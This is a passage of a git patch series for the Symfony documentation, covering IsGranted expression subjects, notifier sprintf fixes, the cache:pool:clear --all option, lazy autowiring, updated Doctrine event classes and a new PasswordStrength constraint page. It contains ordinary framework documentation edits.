+        attribute: new Expression('user === subject["author"] and subject["post"].isPublished()'),
+        subject: [
+            'author' => new Expression('args["post"].getAuthor()'),
+            'post',
+        ],
+    )]
+    public function index(Post $post): Response
+    {
+        // ...
+    }
+
+Here, access will be granted if the author matches the current user
+and the post's ``isPublished()`` method returns ``true``.
+
+You can also use the current request as the subject::
+
+    #[IsGranted(
+        attribute: '...',
+        subject: new Expression('request'),
+    )]
+    public function index(): Response
+    {
+        // ...
+    }
+
+Inside the subject's expression, you have access to two variables:
+
+``request``
+    The :ref:`Symfony Request <component-http-foundation-request>` object that
+    represents the current request.
+``args``
+    An array of controller arguments that are passed to the controller.
+
 Learn more
 ----------
 

From 00623bd9501ef517c7bf2cb1169e7ff1023ca82c Mon Sep 17 00:00:00 2001
From: Julien RAVIA <jrgfawkes@gmail.com>
Date: Wed, 29 Mar 2023 00:27:09 +0200
Subject: [PATCH 4494/7107] Fix typo on codeblock

---
 notifier.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index f1746ffb7b0..b965ae83ba0 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -857,7 +857,7 @@ dispatched. Listeners receive a
         $message = $event->getMessage();
 
         // log something
-        $this->logger(sprintf('Message with subject: %s will be send to %s, $message->getSubject(), $message->getRecipientId()'));
+        $this->logger(sprintf('Message with subject: %s will be send to %s', $message->getSubject(), $message->getRecipientId()));
     });
 
 The ``FailedMessageEvent`` Event
@@ -883,7 +883,7 @@ Listeners receive a
         $error = $event->getError();
 
         // log something
-        $this->logger(sprintf('The message with subject: %s has not been sent successfully. The error is: %s, $message->getSubject(), $error->getMessage()'));
+        $this->logger(sprintf('The message with subject: %s has not been sent successfully. The error is: %s', $message->getSubject(), $error->getMessage()));
     });
 
 The ``SentMessageEvent`` Event
@@ -903,7 +903,7 @@ is dispatched. Listeners receive a
         $message = $event->getOriginalMessage();
 
         // log something
-        $this->logger(sprintf('The message has been successfully sent and has id: %s, $message->getMessageId()'));
+        $this->logger(sprintf('The message has been successfully sent and has id: %s', $message->getMessageId()));
     });
 
 .. TODO

From c2165d141d1bd6ea1bf866a72944d0bd10e87eb6 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 29 Mar 2023 09:17:00 +0200
Subject: [PATCH 4495/7107] [Notifier] Fix a minor syntax issue

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 4d4bbe2472b..e8203273ad2 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -59,7 +59,7 @@ a third-party service that sends SMS messages. Symfony provides integration
 with a couple popular SMS services:
 
 ==================  =====================================  ===========================================================================
-Service             Package                               DSN
+Service             Package                                DSN
 ==================  =====================================  ===========================================================================
 `46elks`_           ``symfony/forty-six-elks-notifier``    ``forty-six-elks://API_USERNAME:API_PASSWORD@default?from=FROM``
 `AllMySms`_         ``symfony/all-my-sms-notifier``        ``allmysms://LOGIN:APIKEY@default?from=FROM``

From 336996e4481ce49c5b529c5b708b5cbc444bb750 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 29 Mar 2023 09:43:46 +0200
Subject: [PATCH 4496/7107] Minor tweak

---
 contributing/code/standards.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/contributing/code/standards.rst b/contributing/code/standards.rst
index f60ca017280..56f2a439473 100644
--- a/contributing/code/standards.rst
+++ b/contributing/code/standards.rst
@@ -179,9 +179,9 @@ Structure
 
 * Exception and error message strings must be concatenated using :phpfunction:`sprintf`;
 
-* Exception and error messages must not contain backticks, even when referring to a
-  technical element (such as a method name for example). Double quotes must be used
-  at all time;
+* Exception and error messages must not contain backticks (e.g. 'The \`foo\` option ...'),
+  even when referring to a technical element (such as a method or variable name).
+  Double quotes must be used at all time (e.g. 'The "foo" option ...'),;
 
 * Exception and error messages must start with a capital letter and finish with a dot ``.``;
 

From 01a3f2d1297d86721dbadc1102d86739d68883f8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 29 Mar 2023 10:09:07 +0200
Subject: [PATCH 4497/7107] Remove more index directives

---
 components/clock.rst                   | 4 ----
 controller/value_resolver.rst          | 3 ---
 security/access_token.rst              | 3 ---
 serializer/custom_context_builders.rst | 3 ---
 session.rst                            | 3 ---
 5 files changed, 16 deletions(-)

diff --git a/components/clock.rst b/components/clock.rst
index 2528551d1c5..9202a399638 100644
--- a/components/clock.rst
+++ b/components/clock.rst
@@ -1,7 +1,3 @@
-.. index::
-   single: Clock
-   single: Components; Clock
-
 The Clock Component
 ===================
 
diff --git a/controller/value_resolver.rst b/controller/value_resolver.rst
index fa71918cd7d..b2d93b13148 100644
--- a/controller/value_resolver.rst
+++ b/controller/value_resolver.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Controller; Argument Value Resolvers
-
 Extending Action Argument Resolving
 ===================================
 
diff --git a/security/access_token.rst b/security/access_token.rst
index d5d607dbcb0..d2b2ab4f6a0 100644
--- a/security/access_token.rst
+++ b/security/access_token.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Security; Access Token
-
 How to use Access Token Authentication
 ======================================
 
diff --git a/serializer/custom_context_builders.rst b/serializer/custom_context_builders.rst
index 720e319916e..77116333384 100644
--- a/serializer/custom_context_builders.rst
+++ b/serializer/custom_context_builders.rst
@@ -1,6 +1,3 @@
-.. index::
-   single: Serializer; Custom context builders
-
 How to Create your Custom Context Builder
 =========================================
 
diff --git a/session.rst b/session.rst
index 1512b7f3142..2d0df3cad55 100644
--- a/session.rst
+++ b/session.rst
@@ -1251,9 +1251,6 @@ has to return an integer which will be used as TTL.
             // Inject whatever dependencies you need to be able to resolve a TTL for the current session
             ->args([service('security')]);
 
-.. index::
-    single: Sessions, saving locale
-
 .. _locale-sticky-session:
 
 Making the Locale "Sticky" during a User's Session

From 2e6e58ceff8d405ed46b7593a254a79cf6e2f31a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 29 Mar 2023 10:13:53 +0200
Subject: [PATCH 4498/7107] [Workflow] Fix a RST syntax issue related to a code
 example

---
 components/workflow.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/components/workflow.rst b/components/workflow.rst
index b8f683eb933..4ef8d4592c6 100644
--- a/components/workflow.rst
+++ b/components/workflow.rst
@@ -57,6 +57,8 @@ logic in one place and not spread all over your application.
 Usage
 -----
 
+Here's an example of using the workflow defined above::
+
     // ...
     // Consider that $blogPost is in place "draft" by default
     $blogPost = new BlogPost();

From bb7796d3c446f9fbccc238d3f2d2785513668958 Mon Sep 17 00:00:00 2001
From: Bob van de Vijver <bobvandevijver@hotmail.com>
Date: Fri, 17 Mar 2023 15:56:47 +0100
Subject: [PATCH 4499/7107] [Cache] Add documentation for new `--all` option
 for `cache:pool:clear`

---
 cache.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/cache.rst b/cache.rst
index a82bc64cd04..264c584c75a 100644
--- a/cache.rst
+++ b/cache.rst
@@ -725,6 +725,15 @@ Clear all custom pools:
 
     $ php bin/console cache:pool:clear cache.app_clearer
 
+Clear all cache pools:
+    .. code-block:: terminal
+
+        $ php bin/console cache:pool:clear --all
+
+.. versionadded:: 6.3
+
+    The `--all` option was introduced in Symfony 6.3.
+
 Clear all caches everywhere:
 
 .. code-block:: terminal

From 8e5736c266199e72a211297af888f778afd0dbed Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 29 Mar 2023 10:32:04 +0200
Subject: [PATCH 4500/7107] Minor fixes

---
 cache.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/cache.rst b/cache.rst
index f90c5afecb4..0e12ff5900c 100644
--- a/cache.rst
+++ b/cache.rst
@@ -723,13 +723,14 @@ Clear all custom pools:
     $ php bin/console cache:pool:clear cache.app_clearer
 
 Clear all cache pools:
-    .. code-block:: terminal
 
-        $ php bin/console cache:pool:clear --all
+.. code-block:: terminal
+
+    $ php bin/console cache:pool:clear --all
 
 .. versionadded:: 6.3
 
-    The `--all` option was introduced in Symfony 6.3.
+    The ``--all`` option was introduced in Symfony 6.3.
 
 Clear all caches everywhere:
 

From 527c24a1dc52dbce23438af2c96342566bc1abd7 Mon Sep 17 00:00:00 2001
From: MrYamous <matt.lempereur@gmail.com>
Date: Mon, 20 Mar 2023 22:45:19 +0100
Subject: [PATCH 4501/7107] [DependencyInjection] Add support for
 `#[Autowire(lazy: true)]`

---
 service_container/lazy_services.rst | 23 +++++++++++++++++++++++
 1 file changed, 23 insertions(+)

diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index e69a52bd3dd..736cc44761b 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -106,6 +106,29 @@ For example, to define your service as lazy use the following::
         // ...
     }
 
+You can also configure laziness when your service is injected with 
+:class:`Symfony\\Component\\DependencyInjection\\Attribute\\Autowire` attribute.
+For example, to inject your service as lazy use the following::
+
+    namespace App\Service;
+
+    use App\Twig\AppExtension;
+    use Symfony\Component\DependencyInjection\Attribute\Autowire;
+
+    class MessageGenerator
+    {
+        public function __construct(
+            #[Autowire(service: 'app.twig.app_extension', lazy: true)] ExtensionInterface $extension
+        ) {
+            // ...
+        }
+    }
+
+.. versionadded:: 6.3
+
+    The ``lazy`` argument of the `#[Autowire()]` attribute was introduced in
+    Symfony 6.3.
+
 Interface Proxifying
 --------------------
 

From ae63bfec04172a21a8a7596c15bcfa3ca6460b65 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 29 Mar 2023 10:53:26 +0200
Subject: [PATCH 4502/7107] Minor tweaks

---
 service_container/lazy_services.rst | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index 53ebed674d3..ac859958f19 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -103,9 +103,8 @@ For example, to define your service as lazy use the following::
         // ...
     }
 
-You can also configure laziness when your service is injected with 
-:class:`Symfony\\Component\\DependencyInjection\\Attribute\\Autowire` attribute.
-For example, to inject your service as lazy use the following::
+You can also configure laziness when your service is injected with the
+:class:`Symfony\\Component\\DependencyInjection\\Attribute\\Autowire` attribute::
 
     namespace App\Service;
 
@@ -123,7 +122,7 @@ For example, to inject your service as lazy use the following::
 
 .. versionadded:: 6.3
 
-    The ``lazy`` argument of the `#[Autowire()]` attribute was introduced in
+    The ``lazy`` argument of the ``#[Autowire()]`` attribute was introduced in
     Symfony 6.3.
 
 Interface Proxifying

From 1d32ad27ac30628c971789de98519e18bbb465a0 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Wed, 29 Mar 2023 11:15:37 +0200
Subject: [PATCH 4503/7107] update framework configuration reference for cache

---
 reference/configuration/framework.rst | 13 ++++++++++++-
 1 file changed, 12 insertions(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 385d006c8f2..f9820ab4b31 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2949,7 +2949,18 @@ app
 The cache adapter used by the ``cache.app`` service. The FrameworkBundle
 ships with multiple adapters: ``cache.adapter.apcu``, ``cache.adapter.doctrine``,
 ``cache.adapter.system``, ``cache.adapter.filesystem``, ``cache.adapter.psr6``,
-``cache.adapter.redis``, ``cache.adapter.memcached`` and ``cache.adapter.pdo``.
+``cache.adapter.redis``, ``cache.adapter.memcached``, ``cache.adapter.pdo``,
+``cache.adapter.doctrine_dbal``.
+
+.. versionadded:: 5.4
+
+    ``cache.adapter.doctrine_dbal`` has been introduced in Symfony 5.4.
+
+.. deprecated:: 5.4
+
+    Using ``cache.adapter.doctrine`` has been deprecated in favor of Symfony
+    Cache or PSR-6 adapters provided by Doctrine Cache and will be removed in
+    6.0.
 
 There's also a special adapter called ``cache.adapter.array`` which stores
 contents in memory using a PHP array and it's used to disable caching (mostly on

From 754fc823871ec8a838cb3ecbeb184148ef9503a9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 29 Mar 2023 13:04:58 +0200
Subject: [PATCH 4504/7107] Minor tweak

---
 reference/configuration/framework.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index f9820ab4b31..66ba3793412 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2954,7 +2954,7 @@ ships with multiple adapters: ``cache.adapter.apcu``, ``cache.adapter.doctrine``
 
 .. versionadded:: 5.4
 
-    ``cache.adapter.doctrine_dbal`` has been introduced in Symfony 5.4.
+    ``cache.adapter.doctrine_dbal`` was introduced in Symfony 5.4.
 
 .. deprecated:: 5.4
 

From 38e25516c425401f3215f9bafa3f270a6f2bfeae Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 29 Mar 2023 13:05:38 +0200
Subject: [PATCH 4505/7107] Remove the unneeded versionadded directives

---
 reference/configuration/framework.rst | 10 ----------
 1 file changed, 10 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 6d167e04dc2..a927e2a3f8a 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2882,16 +2882,6 @@ ships with multiple adapters: ``cache.adapter.apcu``, ``cache.adapter.doctrine``
 ``cache.adapter.redis``, ``cache.adapter.memcached``, ``cache.adapter.pdo``,
 ``cache.adapter.doctrine_dbal``.
 
-.. versionadded:: 5.4
-
-    ``cache.adapter.doctrine_dbal`` was introduced in Symfony 5.4.
-
-.. deprecated:: 5.4
-
-    Using ``cache.adapter.doctrine`` has been deprecated in favor of Symfony
-    Cache or PSR-6 adapters provided by Doctrine Cache and will be removed in
-    6.0.
-
 There's also a special adapter called ``cache.adapter.array`` which stores
 contents in memory using a PHP array and it's used to disable caching (mostly on
 the ``dev`` environment).

From f3d727ca9afb005690dd9530a03d269aca58f53e Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Wed, 29 Mar 2023 11:09:34 +0200
Subject: [PATCH 4506/7107] =?UTF-8?q?[FrameworkBundle]=20=C2=A0Update=20fr?=
 =?UTF-8?q?amework=20cache=20reference?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 reference/configuration/framework.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index a927e2a3f8a..c2ef4498e55 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2877,9 +2877,9 @@ app
 **type**: ``string`` **default**: ``cache.adapter.filesystem``
 
 The cache adapter used by the ``cache.app`` service. The FrameworkBundle
-ships with multiple adapters: ``cache.adapter.apcu``, ``cache.adapter.doctrine``,
-``cache.adapter.system``, ``cache.adapter.filesystem``, ``cache.adapter.psr6``,
-``cache.adapter.redis``, ``cache.adapter.memcached``, ``cache.adapter.pdo``,
+ships with multiple adapters: ``cache.adapter.apcu``, ``cache.adapter.system``,
+``cache.adapter.filesystem``, ``cache.adapter.psr6``, ``cache.adapter.redis``,
+``cache.adapter.memcached``, ``cache.adapter.pdo`` and
 ``cache.adapter.doctrine_dbal``.
 
 There's also a special adapter called ``cache.adapter.array`` which stores

From d72bf8ae070b2f59722abba41c62e2192b04f4cb Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 28 Mar 2023 13:45:18 +0200
Subject: [PATCH 4507/7107] [PasswordHasher] Mention standalone use of
 PasswordHasherFactory

---
 security/passwords.rst | 28 +++++++++++++++++++++++++++-
 1 file changed, 27 insertions(+), 1 deletion(-)

diff --git a/security/passwords.rst b/security/passwords.rst
index cdb4d09102e..c12d51f520d 100644
--- a/security/passwords.rst
+++ b/security/passwords.rst
@@ -134,7 +134,7 @@ Further in this article, you can find a
     .. configuration-block::
 
         .. code-block:: yaml
-        
+
             # config/packages/test/security.yaml
             security:
                 # ...
@@ -697,6 +697,32 @@ you must register a service for it in order to use it as a named hasher:
 This creates a hasher named ``app_hasher`` from a service with the ID
 ``App\Security\Hasher\MyCustomPasswordHasher``.
 
+Hashing a Stand-Alone String
+----------------------------
+
+The password hasher can be used to hash strings independently
+of users. By using the
+:class:`Symfony\\Component\\PasswordHasher\\Hasher\\PasswordHasherFactory`,
+you can declare multiple hashers, retrieve any of them with
+its name and create hashes. You can then verify that a string matches the given
+hash::
+
+    use Symfony\Component\PasswordHasher\Hasher\PasswordHasherFactory;
+
+    // configure different hashers via the factory
+    $factory = new PasswordHasherFactory([
+        'common' => ['algorithm' => 'bcrypt'],
+        'sodium' => ['algorithm' => 'sodium'],
+    ]);
+
+    // retrieve the hasher using bcrypt
+    $hasher = $factory->getPasswordHasher('common');
+    $hash = $hasher->hash('plain');
+
+    // verify that a given string matches the hash calculated above
+    $hasher->verify($hash, 'invalid'); // false
+    $hasher->verify($hash, 'plain'); // true
+
 .. _passwordhasher-supported-algorithms:
 
 Supported Algorithms

From c6a4e45ae78bc1821a0ec22adc2c32682812203d Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 30 Mar 2023 09:57:45 +0200
Subject: [PATCH 4508/7107] [Standards] Remove additional comma

---
 contributing/code/standards.rst | 9 +++++++--
 1 file changed, 7 insertions(+), 2 deletions(-)

diff --git a/contributing/code/standards.rst b/contributing/code/standards.rst
index 56f2a439473..7313760543e 100644
--- a/contributing/code/standards.rst
+++ b/contributing/code/standards.rst
@@ -179,9 +179,14 @@ Structure
 
 * Exception and error message strings must be concatenated using :phpfunction:`sprintf`;
 
-* Exception and error messages must not contain backticks (e.g. 'The \`foo\` option ...'),
+* Exception and error messages must not contain backticks,
   even when referring to a technical element (such as a method or variable name).
-  Double quotes must be used at all time (e.g. 'The "foo" option ...'),;
+  Double quotes must be used at all time:
+
+  .. code-block:: diff
+
+    - Expected `foo` option to be one of ...
+    + Expected "foo" option to be one of ...
 
 * Exception and error messages must start with a capital letter and finish with a dot ``.``;
 

From 6d67836896d04b071c78c60b98ea78a92662eb97 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?S=C3=A9bastien=20Despont?= <sebastien.despont@gmail.com>
Date: Thu, 30 Mar 2023 11:17:34 +0200
Subject: [PATCH 4509/7107] Replace deprecated
 Doctrine\ORM\Event\LifecycleEventArgs by dedicated events

Replace deprecated Doctrine\ORM\Event\LifecycleEventArgs by dedicated events :
- Doctrine\ORM\Event\PostPersistEventArgs;
- Doctrine\ORM\Event\PostRemoveEventArgs;
- Doctrine\ORM\Event\PostUpdateEventArgs;
---
 doctrine/events.rst | 26 ++++++++++++++------------
 1 file changed, 14 insertions(+), 12 deletions(-)

diff --git a/doctrine/events.rst b/doctrine/events.rst
index 619e59405fa..21b2e4f8d23 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -119,13 +119,13 @@ do so, define a listener for the ``postPersist`` Doctrine event::
     namespace App\EventListener;
 
     use App\Entity\Product;
-    use Doctrine\Persistence\Event\LifecycleEventArgs;
+    use Doctrine\ORM\Event\PostPersistEventArgs;
 
     class SearchIndexer
     {
         // the listener methods receive an argument which gives you access to
         // both the entity object of the event and the entity manager itself
-        public function postPersist(LifecycleEventArgs $args): void
+        public function postPersist(PostPersistEventArgs $args): void
         {
             $entity = $args->getObject();
 
@@ -167,12 +167,12 @@ listener in the Symfony application by creating a new service for it and
         namespace App\EventListener;
 
         use Doctrine\Bundle\DoctrineBundle\Attribute\AsDoctrineListener;
-        use Doctrine\ORM\Event\LifecycleEventArgs;
+        use Doctrine\ORM\Event\PostPersistEventArgs;
 
         #[AsDoctrineListener('postPersist'/*, 500, 'default'*/)]
         class SearchIndexer
         {
-            public function postPersist(LifecycleEventArgs $event): void
+            public function postPersist(PostPersistEventArgs $event): void
             {
                 // ...
             }
@@ -277,13 +277,13 @@ First, define a PHP class that handles the ``postUpdate`` Doctrine event::
     namespace App\EventListener;
 
     use App\Entity\User;
-    use Doctrine\Persistence\Event\LifecycleEventArgs;
+    use Doctrine\ORM\Event\PostUpdateEventArgs;
 
     class UserChangedNotifier
     {
         // the entity listener methods receive two arguments:
         // the entity instance and the lifecycle event
-        public function postUpdate(User $user, LifecycleEventArgs $event): void
+        public function postUpdate(User $user, PostUpdateEventArgs $event): void
         {
             // ... do something to notify the changes
         }
@@ -420,7 +420,9 @@ want to log all the database activity. To do so, define a subscriber for the
     use App\Entity\Product;
     use Doctrine\Bundle\DoctrineBundle\EventSubscriber\EventSubscriberInterface;
     use Doctrine\ORM\Events;
-    use Doctrine\Persistence\Event\LifecycleEventArgs;
+    use Doctrine\ORM\Event\PostPersistEventArgs;
+    use Doctrine\ORM\Event\PostRemoveEventArgs;
+    use Doctrine\ORM\Event\PostUpdateEventArgs;
 
     class DatabaseActivitySubscriber implements EventSubscriberInterface
     {
@@ -436,24 +438,24 @@ want to log all the database activity. To do so, define a subscriber for the
         }
 
         // callback methods must be called exactly like the events they listen to;
-        // they receive an argument of type LifecycleEventArgs, which gives you access
+        // they receive an argument of type PostPersistEventArgs, which gives you access
         // to both the entity object of the event and the entity manager itself
-        public function postPersist(LifecycleEventArgs $args): void
+        public function postPersist(PostPersistEventArgs $args): void
         {
             $this->logActivity('persist', $args);
         }
 
-        public function postRemove(LifecycleEventArgs $args): void
+        public function postRemove(PostRemoveEventArgs $args): void
         {
             $this->logActivity('remove', $args);
         }
 
-        public function postUpdate(LifecycleEventArgs $args): void
+        public function postUpdate(PostUpdateEventArgs $args): void
         {
             $this->logActivity('update', $args);
         }
 
-        private function logActivity(string $action, LifecycleEventArgs $args): void
+        private function logActivity(string $action, PostUpdateEventArgs|PostRemoveEventArgs|PostPersistEventArgs $args): void
         {
             $entity = $args->getObject();
 

From 566aa26cb2071c5b7fa79d4883f0506c9a4a6116 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 30 Mar 2023 14:02:33 +0200
Subject: [PATCH 4510/7107] [HttpClient] Add `ServerSentEvent::getArrayData()`
 to get the SSE's data decoded as an array directly

---
 http_client.rst | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/http_client.rst b/http_client.rst
index 3161bd23b6a..067a52291cb 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1425,6 +1425,16 @@ to wrap your HTTP client, open a connection to a server that responds with a
         }
     }
 
+.. tip::
+
+    If you know that the content of the ``ServerSentEvent`` is in the JSON format, you can
+    use the :method:`Symfony\\Component\\HttpClient\\Chunk\\ServerSentEvent::getArrayData`
+    method to directly get the decoded JSON in an array.
+
+.. versionadded:: 6.3
+
+    The ``ServerSentEvent::getArrayData()`` method was introduced in Symfony 6.3.
+
 Interoperability
 ----------------
 

From e556fb3c765c26e60edc7e1aef382a15e8f582b9 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 30 Mar 2023 14:47:46 +0200
Subject: [PATCH 4511/7107] Minor

---
 http_client.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/http_client.rst b/http_client.rst
index 067a52291cb..4001eb081d1 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1429,7 +1429,7 @@ to wrap your HTTP client, open a connection to a server that responds with a
 
     If you know that the content of the ``ServerSentEvent`` is in the JSON format, you can
     use the :method:`Symfony\\Component\\HttpClient\\Chunk\\ServerSentEvent::getArrayData`
-    method to directly get the decoded JSON in an array.
+    method to directly get the decoded JSON as array.
 
 .. versionadded:: 6.3
 

From ec51dd2fa313eee56d302d8abc8aa0bd668417ea Mon Sep 17 00:00:00 2001
From: Florent Morselli <florent.morselli@spomky-labs.com>
Date: Sat, 25 Mar 2023 21:58:26 +0100
Subject: [PATCH 4512/7107] PasswordStrength Documentation pages

---
 reference/configuration/framework.rst      |   8 ++
 reference/constraints.rst                  |   1 +
 reference/constraints/Compound.rst         |   1 +
 reference/constraints/PasswordStrength.rst | 126 +++++++++++++++++++++
 reference/constraints/map.rst.inc          |   1 +
 5 files changed, 137 insertions(+)
 create mode 100644 reference/constraints/PasswordStrength.rst

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index b7170e37a0d..624bdc8658b 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2587,6 +2587,14 @@ metadata of the class. You can define an array of strings with the names of
 several methods. In that case, all of them will be called in that order to load
 the metadata.
 
+.. _reference-validation-password-strength:
+
+password_strength
+.................
+
+The :doc:`PasswordStrength </reference/constraints/PasswordStrength>`
+constraint verifies the submitted string entropy is matching the minimum entropy score.
+
 .. _reference-validation-email_validation_mode:
 
 email_validation_mode
diff --git a/reference/constraints.rst b/reference/constraints.rst
index 67544bc45c3..d676e006f42 100644
--- a/reference/constraints.rst
+++ b/reference/constraints.rst
@@ -75,6 +75,7 @@ Validation Constraints Reference
    constraints/All
    constraints/UserPassword
    constraints/NotCompromisedPassword
+   constraints/PasswordStrength
    constraints/Valid
    constraints/Traverse
    constraints/CssColor
diff --git a/reference/constraints/Compound.rst b/reference/constraints/Compound.rst
index 695ae4f00ec..05109c4a184 100644
--- a/reference/constraints/Compound.rst
+++ b/reference/constraints/Compound.rst
@@ -37,6 +37,7 @@ you can create your own named set or requirements to be reused consistently ever
                     new Assert\Type('string'),
                     new Assert\Length(['min' => 12]),
                     new Assert\NotCompromisedPassword(),
+                    new Assert\PasswordStrength(['minScore' => 4]),
                 ];
             }
         }
diff --git a/reference/constraints/PasswordStrength.rst b/reference/constraints/PasswordStrength.rst
new file mode 100644
index 00000000000..2625cbc0f40
--- /dev/null
+++ b/reference/constraints/PasswordStrength.rst
@@ -0,0 +1,126 @@
+PasswordStrength
+================
+
+Validates that the given password has reached the minimum strength required by
+the constraint.
+
+==========  ===================================================================
+Applies to  :ref:`property or method <validation-property-target>`
+Class       :class:`Symfony\\Component\\Validator\\Constraints\\PasswordStrength`
+Validator   :class:`Symfony\\Component\\Validator\\Constraints\\PasswordStrengthValidator`
+==========  ===================================================================
+
+Basic Usage
+-----------
+
+The following constraint ensures that the ``rawPassword`` property of the
+``User`` class reaches the minimum strength required by the constraint.
+By default, the minimum required score is 2.
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        // src/Entity/User.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class User
+        {
+            #[Assert\PasswordStrength]
+            protected $rawPassword;
+        }
+
+    .. code-block:: yaml
+
+        # config/validator/validation.yaml
+        App\Entity\User:
+            properties:
+                rawPassword:
+                    - PasswordStrength
+
+    .. code-block:: xml
+
+        <!-- config/validator/validation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
+
+            <class name="App\Entity\User">
+                <property name="rawPassword">
+                    <constraint name="PasswordStrength"></constraint>
+                </property>
+            </class>
+        </constraint-mapping>
+
+    .. code-block:: php
+
+        // src/Entity/User.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+        use Symfony\Component\Validator\Mapping\ClassMetadata;
+
+        class User
+        {
+            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            {
+                $metadata->addPropertyConstraint('rawPassword', new Assert\PasswordStrength());
+            }
+        }
+
+Available Options
+-----------------
+
+``minScore``
+~~~~~~~~~~~~
+
+**type**: ``integer`` **default**: ``PasswordStrength::STRENGTH_REASONABLE`` (``2``)
+
+The minimum required strength of the password. Available constants are:
+* ``PasswordStrength::STRENGTH_WEAK`` = ``1``
+* ``PasswordStrength::STRENGTH_REASONABLE`` = ``2``
+* ``PasswordStrength::STRENGTH_STRONG`` = ``3``
+* ``PasswordStrength::STRENGTH_VERY_STRONG`` = ``4``
+
+``PasswordStrength::STRENGTH_VERY_WEAK`` is available but only used internally
+or by a custom password strength estimator.
+
+.. code-block:: php-attributes
+
+    // src/Entity/User.php
+    namespace App\Entity;
+
+    use Symfony\Component\Validator\Constraints as Assert;
+
+    class User
+    {
+        #[Assert\PasswordStrength([
+            'minScore' => PasswordStrength::STRENGTH_VERY_STRONG, // Very strong password required
+        ])]
+        protected $rawPassword;
+    }
+
+``message``
+~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``The password strength is too low. Please use a stronger password.``
+
+The default message supplied when the password does not reach the minimum required score.
+
+.. code-block:: php-attributes
+
+    // src/Entity/User.php
+    namespace App\Entity;
+
+    use Symfony\Component\Validator\Constraints as Assert;
+
+    class User
+    {
+        #[Assert\PasswordStrength([
+            'message' => 'Le mot de passe est trop faible. Veuillez utiliser un mot de passe plus fort.'
+        ])]
+        protected $rawPassword;
+    }
diff --git a/reference/constraints/map.rst.inc b/reference/constraints/map.rst.inc
index 1c16d47f81d..8689c88d9f0 100644
--- a/reference/constraints/map.rst.inc
+++ b/reference/constraints/map.rst.inc
@@ -28,6 +28,7 @@ String Constraints
 * :doc:`Ulid </reference/constraints/Ulid>`
 * :doc:`UserPassword </reference/constraints/UserPassword>`
